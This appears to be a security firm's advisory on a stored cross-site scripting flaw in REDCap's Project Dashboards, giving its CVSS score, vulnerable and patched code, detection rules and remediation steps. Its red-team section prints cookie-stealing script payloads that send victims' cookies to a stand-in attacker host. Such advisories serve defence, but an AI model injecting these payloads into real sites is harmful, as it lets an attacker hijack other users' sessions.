CVE-2024-37394

Executive Summary

CVE-2024-37394 is a stored cross-site scripting (XSS) vulnerability in REDCap version 13.1.9, specifically within the Project Dashboards feature. An authenticated attacker can inject malicious scripts into the 'Dashboard title' and 'Dashboard content' fields. When other users view the compromised dashboard, the injected script executes in their browser, potentially leading to session hijacking, data theft, or further compromise within the REDCap application. The vulnerability is patched in version 14.2.1.

Supply Chain & Package Security

REDCap is a web application typically deployed as a PHP/MySQL stack. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the application's own codebase. The primary supply chain risk is the use of outdated REDCap installations. Organizations should ensure they are using a supported version and have a process for applying security patches promptly.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network (N) - The vulnerability is exploitable over the network.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - The attacker needs an authenticated REDCap account.
• User Interaction (UI): Required (R) - A victim must view the malicious dashboard.
• Scope (S): Changed (C) - The vulnerability impacts resources beyond the vulnerable component (the victim's browser).
• Confidentiality (C): Low (L) - Limited data exposure (e.g., session tokens).
• Integrity (I): Low (L) - Limited ability to modify data (e.g., via script actions).
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for data theft and lateral movement within the REDCap environment makes it a significant concern for organizations using the affected version.

Deep Dive & Mechanics

The vulnerability resides in the Project Dashboards feature of REDCap. The application fails to properly sanitize user-supplied input in the 'Dashboard title' and 'Dashboard content' fields before storing it in the database. When a dashboard is rendered, the stored payload is included in the HTML page without proper encoding, allowing the attacker's script to execute in the context of the victim's browser session.

Attack Flow:

1. Authentication: The attacker logs into REDCap with a valid account.
2. Navigation: The attacker navigates to a Project Dashboard and edits the title or content.
3. Injection: The attacker inserts a malicious payload, such as <script>alert(document.cookie)</script>, into the title or content field.
4. Storage: The payload is stored in the REDCap database.
5. Trigger: A victim (another user) views the compromised dashboard.
6. Execution: The victim's browser renders the dashboard, executing the injected script.
7. Impact: The script can steal session cookies, redirect the victim to a phishing page, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (REDCap 13.1.9): The vulnerable code likely outputs the dashboard title and content directly without proper escaping. A simplified example:

// Vulnerable: Direct output without escaping
echo "<h2>" . $dashboard_title . "</h2>";
echo "<div>" . $dashboard_content . "</div>";

Patched Code (REDCap 14.2.1): The patched code uses proper output encoding functions, such as htmlspecialchars() or a templating engine that auto-escapes.

// Patched: Output with HTML entity encoding
echo "<h2>" . htmlspecialchars($dashboard_title, ENT_QUOTES, 'UTF-8') . "</h2>";
echo "<div>" . htmlspecialchars($dashboard_content, ENT_QUOTES, 'UTF-8') . "</div>";

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a local instance of REDCap 13.1.9 (e.g., using Docker or a LAMP stack).
2. Create two user accounts: one attacker, one victim.
3. Log in as the attacker and create a new project.

Exploitation Steps:

1. Navigate to the Project Dashboards section.
2. Edit the dashboard title or content.
3. Inject a payload to steal cookies:

   <script>
   var img = new Image();
   img.src = "http://attacker-server.com/steal.php?cookie=" + document.cookie;
   </script>
   

4. Save the dashboard.
5. Log in as the victim and view the same dashboard.
6. On the attacker's server, capture the incoming request containing the victim's cookies.

Alternative Payload (Session Hijacking):

<script>
document.location='http://attacker-server.com/steal.php?cookie='+document.cookie;
</script>

Blue Team

Detection Steps:

1. Monitor Logs: Review REDCap access logs for unusual patterns in dashboard creation/editing (e.g., many edits by a single user, edits containing <script> tags).
2. WAF Rules: Deploy a Web Application Firewall (WAF) rule to block requests containing <script> in dashboard title/content parameters.
3. Input Validation: Implement server-side validation to reject dashboard titles/contents containing HTML tags.
4. User Training: Educate users about the risks of clicking on suspicious links or viewing untrusted dashboards.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains from REDCap server.
  • HTTP requests containing document.cookie in the query string.
• Host IOCs:
  • REDCap database entries in the redcap_projects or similar tables containing <script> tags in dashboard-related fields.
  • Unusual entries in REDCap logs (e.g., dashboard_edit actions with suspicious payloads).
• File IOCs:
  • Modified REDCap source files (e.g., Dashboard.php) that contain backdoors or additional XSS payloads.

Detection Engineering

YARA Rule

rule CVE_2024_37394_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting REDCap Dashboard title/content"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-37394"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Stored XSS in REDCap Dashboard Title/Content
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts in REDCap dashboard fields
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-37394
logsource:
    category: application
    product: redcap
detection:
    selection:
        EventID: 'dashboard_edit'
        Payload|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in dashboard content (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-37394 REDCap Stored XSS Payload Detected"; flow:to_server,established; content:"POST"; http_method; content:"/redcap/"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade REDCap: Update to version 14.2.1 or later immediately.
2. Apply Virtual Patching: If immediate upgrade is not possible, use a WAF to block requests containing <script> tags in dashboard-related parameters.
3. Review Logs: Check REDCap logs for any signs of exploitation (e.g., unusual dashboard edits).

Long-Term Mitigations:

1. Input Validation: Implement strict server-side validation for all user inputs.
2. Output Encoding: Ensure all user-supplied data is properly HTML-encoded before rendering.
3. Content Security Policy (CSP): Deploy a CSP header to restrict script execution.
4. Regular Audits: Conduct periodic security audits of the REDCap installation.
5. User Training: Educate users about the risks of XSS and how to report suspicious activity.

Valters IT
Securing Your Digital Frontier